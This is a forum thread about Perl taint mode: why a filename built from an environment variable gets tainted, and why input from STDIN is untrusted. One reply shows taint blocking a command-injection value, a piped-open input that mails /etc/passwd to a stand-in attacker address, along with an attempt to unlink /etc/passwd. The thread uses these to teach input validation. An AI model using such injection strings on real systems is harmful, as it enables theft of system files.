in reply to Re: Insecure dependency in open
in thread Insecure dependency in open

well, after a lot of tests of different conditions, there are many permutations that have unearthed themselves that I wasn't aware of. Namely, using the Scalar::Util suggestion from sgifford, it turns out that the filename used was derived from an environment variable, which caused the taint. The fact that it was a symlink owned by root turns out to have been a red herring, and irrelevant to the problem. I can't say I'd have figured this out without having used the tainted() function from the Util package.

Now that all the sleuthing has been done to determine exactly "why" the filename was tainted, I can program around it accordingly. I'm still feeling residual commitment to my statement that perl needs some programmatic way around this sort of thing, but I'm not exactly sure what that would look like... In principle, I like having the protection for basic stuff, but I also want all that rope to hang myself, should I choose to do so. :-|

Replies are listed 'Best First'.
Re^3: Insecure dependency in open
by sgifford (Prior) on Jan 22, 2007 at 05:15 UTC
    This is when taint mode is at its most useful: you didn't realize that the security of your program depended in part on an environment variable, Perl noticed that it did, and stopped the program before it did something that might be dangerous. It forced you to find the dependency, think about whether it's a real security problem or not, and then deal with it appropriately.

    If there had been an easy way to turn off taint mode, you most likely would have turned it off based on your faulty assumptions about the problem coming from symlink ownership. Instead, you found a possible bug you didn't know about, and probably made your program more secure.

    And the world is safe again. TaintMode++.

      Furthermore, if a perl script could turn off the taint mode, then any bug in the script could be exploited to take advantage of it. "Hey, he turns off taint checking in line 93 so he can open through a symlink... that gives me an idea!"

      --
      [ e d @ h a l l e y . c c ]

      Ok, then can you please clarify why STDIN is tainted? I'm scratchin' my head long and hard on this one? What's perl protecting me from now?

        Taint should be used when the caller of the script is different than the person who owns the script. setuid scripts, CGI scripts, etc. should use it. The environment, files, STDIN, command line arguments, etc are controlled by the caller and cannot be trusted. To allow the user to specify a file name (for example) could allow him to read and/or modify files to which he normally would not have access.

        It's dangerous because it comes from a dirty, untrustworthy, malicious creature (i.e. the user). They can feed in anything they want on STDIN:

        $ perl -T -le 'chomp(my $foo = <STDIN>);unlink( $foo ) or die "unlink: + $!\n";' /etc/passwd Insecure dependency in unlink while running with -T switch at -e line +1, <STDIN> line 1. $ perl -T -le '$ENV{PATH}="/bin:/usr/bin"; chomp(my $foo = <STDIN>);op +en( FOO, $foo ) or die "unlink: $!\n";' mail blackhat@evilhaxor.org -s `uname -n` < /etc/passwd ; cat /dev/nul +l | Insecure dependency in piped open while running with -T switch at -e l +ine 1, <STDIN> line 1.

        If you want to allow this, you have to explicitly validate (by means of some form of untainting) the input; and on your head be it if you do it wrong.

        Update: And as to your question about -t STDIN, that shouldn't be a problem because it's testing a property of the handle not using any input from the handle.

        $ perl -T -le 'print "tty" if -t STDIN' tty
Re^3: Insecure dependency in open
by Anonymous Monk on Jan 22, 2007 at 05:33 UTC
    A wise man once said you can find the rope if you RTFM.